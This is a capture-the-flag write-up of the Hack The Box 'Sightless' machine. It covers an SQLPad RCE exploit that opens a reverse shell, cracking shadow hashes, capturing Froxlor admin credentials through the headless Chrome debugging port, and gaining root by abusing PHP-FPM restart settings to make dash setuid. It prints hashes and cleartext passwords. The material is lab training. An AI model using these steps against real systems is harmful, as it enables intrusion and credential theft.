Skip to content

HTB: Sightless

Sightless simulates a webhost using SQLPad and Froxlor. An initial RCE allows access inside of a Docker container. Thanks to password re-use, a hash discovered inside the container allows access to the system hosting the container. From there, it's an exercise in exploiting a debugging exploit in the chromedriver headless configuration used for Selenium web-testing, and then a flaw in Froxlor allows full root access.

Services

TCP

# Nmap 7.94SVN scan initiated Fri Sep 13 09:50:48 2024 as: nmap -v --reason -Pn -T4 --min-rate 10000 -p- --open -sCV -oN nmap_tcp-sightless.htb.txt sightless.htb
Nmap scan report for sightless.htb (10.10.11.32)
Host is up, received user-set (0.20s latency).
rDNS record for 10.10.11.32: t
Not shown: 63178 closed tcp ports (reset), 2354 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 63
| fingerprint-strings:
|   GenericLines:
|     220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA)
|_  256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519)
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Sightless.htb
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.94SVN%I=7%D=9/13%Time=66E45F6B%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,A0,"220\x20ProFTPD\x20Server\x20\(sightless\.htb\x20FTP\x20
SF:Server\)\x20\[::ffff:10\.10\.11\.32\]\r\n500\x20Invalid\x20command:\x20
SF:try\x20being\x20more\x20creative\r\n500\x20Invalid\x20command:\x20try\x
SF:20being\x20more\x20creative\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Sep 13 09:52:05 2024 -- 1 IP address (1 host up) scanned in 76.74 seconds

21/tcp-ftp

Had some issues connecting using the basic ftp client, so I used lftp but anonymous-ftp was still disallowed:

$ lftp anonymous:anonymous@t -e "set ssl:verify-certificate false"
lftp anonymous@t:~> ls
ls: Login failed: 530 Login incorrect.

80/tcp-http

$ feroxbuster -u http://sightless.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt  -d1
...
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        7l       12w      178c http://sightless.htb/images => http://sightless.htb/images/
200      GET      341l      620w     6252c http://sightless.htb/style.css
200      GET      340l     2193w   190652c http://sightless.htb/images/logo.png
200      GET      105l      389w     4993c http://sightless.htb/
301      GET        7l       12w      178c http://sightless.htb/icones => http://sightless.htb/icones/
[####################] - 4m     87654/87654   0s      found:5       errors:24
[####################] - 4m     87650/87650   391/s   http://sightless.htb/

Froxlor, eh? and SQLPad?

Fuzzed subdomains and froxlor.sightless.htb didn't hit but sqlpad.sightless.htb does.

Remote Code Execution

The subdomain sqlpad.sightless.htb was referenced via the main web page.

Version: 6.10.0

The exploit from https://github.com/0xRoqeeb/sqlpad-rce-exploit-CVE-2022-0944 works, despite an error:

$ python3 ./exploit.py 'http://sqlpad.sightless.htb/' 10.10.14.21 443
Response status code: 400
Response body: {"title":"connect ECONNREFUSED 127.0.0.1:3306"}
Exploit sent, but server responded with status code: 400. Check your listener.
listening on [any] 443 ...
connect to [10.10.14.21] from (UNKNOWN) [10.10.11.32] 50674
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad# id
id
uid=0(root) gid=0(root) groups=0(root)

Privilege Escalation

Initial foothold is uid=0 but it appears the be inside a docker container.

Container is a Debian Buster image:

root@c184118df0a6:/# cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
root@c184118df0a6:/# env
HOSTNAME=c184118df0a6
YARN_VERSION=1.22.17
PWD=/
SQLPAD_DB_PATH=/var/lib/sqlpad
NODE_ENV=production
SQLPAD_PORT=3000
HOME=/root
SQLPAD_AUTH_DISABLED_DEFAULT_ROLE=admin
TERM=xterm-256color
SHLVL=3
SQLPAD_AUTH_DISABLED=true
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NODE_VERSION=16.14.0
_=/usr/bin/env
OLDPWD=/var/lib/sqlpad

Account hashes are available, including a user michael:

michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::
root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:19858:0:99999:7:::

It actually cracks pretty quickly:

$ hashcat ./hash.sightless ~/wordlists/rockyou.txt
...
$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:insaneclownposse
$ ssh michael@t
Warning: Permanently added 't' (ED25519) to the list of known hosts.
michael@t's password:
Last login: Fri Sep 13 14:46:14 2024 from 10.10.14.9
-bash-5.1$ id
uid=1000(michael) gid=1000(michael) groups=1000(michael)
-bash-5.1$ cat user.txt
cdbc82...

pspy64:

...
2024/09/13 16:40:23 CMD: UID=1001  PID=1647   | /bin/bash /home/john/automation/healthcheck.sh
2024/09/13 16:40:23 CMD: UID=1001  PID=1621   | /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=1571 --no-sandbox --disable-dev-shm-usage --enable-automation --remote
-debugging-port=0 --test-type=webdriver --allow-pre-commit-input --ozone-platform=headless --disable-gpu-compositing --lang=en-US --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-un
ix-epoch=-1726236431306303 --launc

Probably https://www.canva.dev/blog/engineering/discovering-headroll-cve-2023-0704-in-chromium/?

This also shows up in LinPEAS:

$ curl http://localhost:39455/json/list
[ {
   "description": "",
   "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:39455/devtools/page/1A42A72BBB7B72B72F2E27BFEA882A20",
   "id": "1A42A72BBB7B72B72F2E27BFEA882A20",
   "title": "Froxlor",
   "type": "page",
   "url": "http://admin.sightless.htb:8080/index.php",
   "webSocketDebuggerUrl": "ws://localhost:39455/devtools/page/1A42A72BBB7B72B72F2E27BFEA882A20"
} ]

I forward the ports so I can access the debugging console via Chrome on my attack host:

From here I was able to watch the chromedriver healthcheck in real time, and view the POST form to grab the credentials for the admin user.

loginname: admin
password: ForlorfroxAdmin

I use SSH port-forwarding for port 8080, and updated the hostname:

127.0.0.1 admin.sightless.htb

Now I can login via http://admin.sightless.htb:8080/.

There's an authenticated RCE. I'm able to manipulate the restart command for PHP-FPM:

I then disabled and re-enabled PHP-FPM in Settings/Configuration.

After the cronjob runs:

michael@sightless:$ ls -l /usr/bin/dash
-rwsr-xr-x 1 root root 125688 Mar 23  2022 /usr/bin/dash
michael@sightless:$ /usr/bin/dash -p
# id
uid=1000(michael) gid=1000(michael) euid=0(root) groups=1000(michael)
# cat /root/root.txt
d892cc...

Post-exploitation

Here's the service setup.

/home/john/automation/administration.py:

#!/usr/bin/python3
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.common.exceptions import UnexpectedAlertPresentException
from selenium.common.exceptions import NoAlertPresentException
from selenium.webdriver.common.alert import Alert
from selenium.webdriver.support import expected_conditions as EC
import time
import threading
import schedule

options = Options()
options.add_argument('--headless')
options.add_argument('--no-sandbox')
options.add_argument('--disable-dev-shm-usage')

# Update this line with the path to your locally downloaded Chrome driver
chrome_driver_path = '/home/john/automation/chromedriver'

# Use Service to specify the Chrome driver binary path
service = Service(chrome_driver_path)
service.start()

driver = webdriver.Chrome(service=service, options=options)

def dismiss_all_alerts(driver):
    while True:
        try:
            alert = driver.switch_to.alert
            print(f"Dismissed alert with text: {alert.text}")
            alert.accept()
            time.sleep(1)
        except NoAlertPresentException:
            break

print("browser opened")
while True:
    try:
        driver.get("http://admin.sightless.htb:8080/admin_logger.php?page=log")
        time.sleep(7)

        # Username Field
        input_element = driver.find_element(By.ID, "loginname")
        input_element.send_keys("admin")

        # Password field
        input_element = driver.find_element(By.ID, "password")
        input_element.send_keys("ForlorfroxAdmin" + Keys.ENTER)
        print("Logged In...")
    except UnexpectedAlertPresentException:
        input_element.send_keys(Keys.ENTER)
        pass
    time.sleep(5)
    dismiss_all_alerts(driver)
    driver.get("http://admin.sightless.htb:8080/admin_index.php?action=logout")
    driver.get("http://admin.sightless.htb:8080/")
    print("Logged Out")
    time.sleep(3)
    #driver.close()
# file ./chromedriver
./chromedriver: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d7469ac365948b5f89dcbdc8134025d8fad57bd4, stripped
# ./chromedriver --version
ChromeDriver 124.0.6367.201 (46cf136d27d50afd9c618d164a3b95b3b62d0027-refs/branch-heads/6367@{#1130})

/home/john/automation/healthcheck.sh:

#!/bin/bash

check_and_run() {
    if pgrep -f "/opt/google/chrome/chrome" > /dev/null
    then
        echo "Chrome is running."
    else
        echo "Chrome is not running. Starting the Python script."
        python3 /home/john/automation/administration.py &
    fi
}

while true; do
    check_and_run
    sleep 60
done
root@sightless:/var/www/html/froxlor# grep \$y /etc/shadow
root:$y$j9T$PScOTu/SFg7oaa/bfW4pL0$7oWEYAy0P18E3uDpsZUyoy78cubBKODqotqtAp4GtK0:19860:0:99999:7:::
michael:$y$j9T$VdjDEROmqIwhwxW5Mqie//$yo5dlS5BvDOm5r4snRGg6JQp2lK2Vip3mC5.A.e94S3:19860:0:99999:7:::
john:$y$j9T$0LxNq2qUgY68Htn6MURro/$X0njIWFZLfEQ.vKrDiPz5.GO3eJ7vHY1YSvmCc.5KvC:19858:0:99999:7:::
john@sightless:~$ crontab -l
...
# m h  dom mon dow   command
@reboot sleep 110 && /usr/bin/python3 /home/john/automation/administration.py
@reboot sleep 140 && /home/john/automation/healthcheck.sh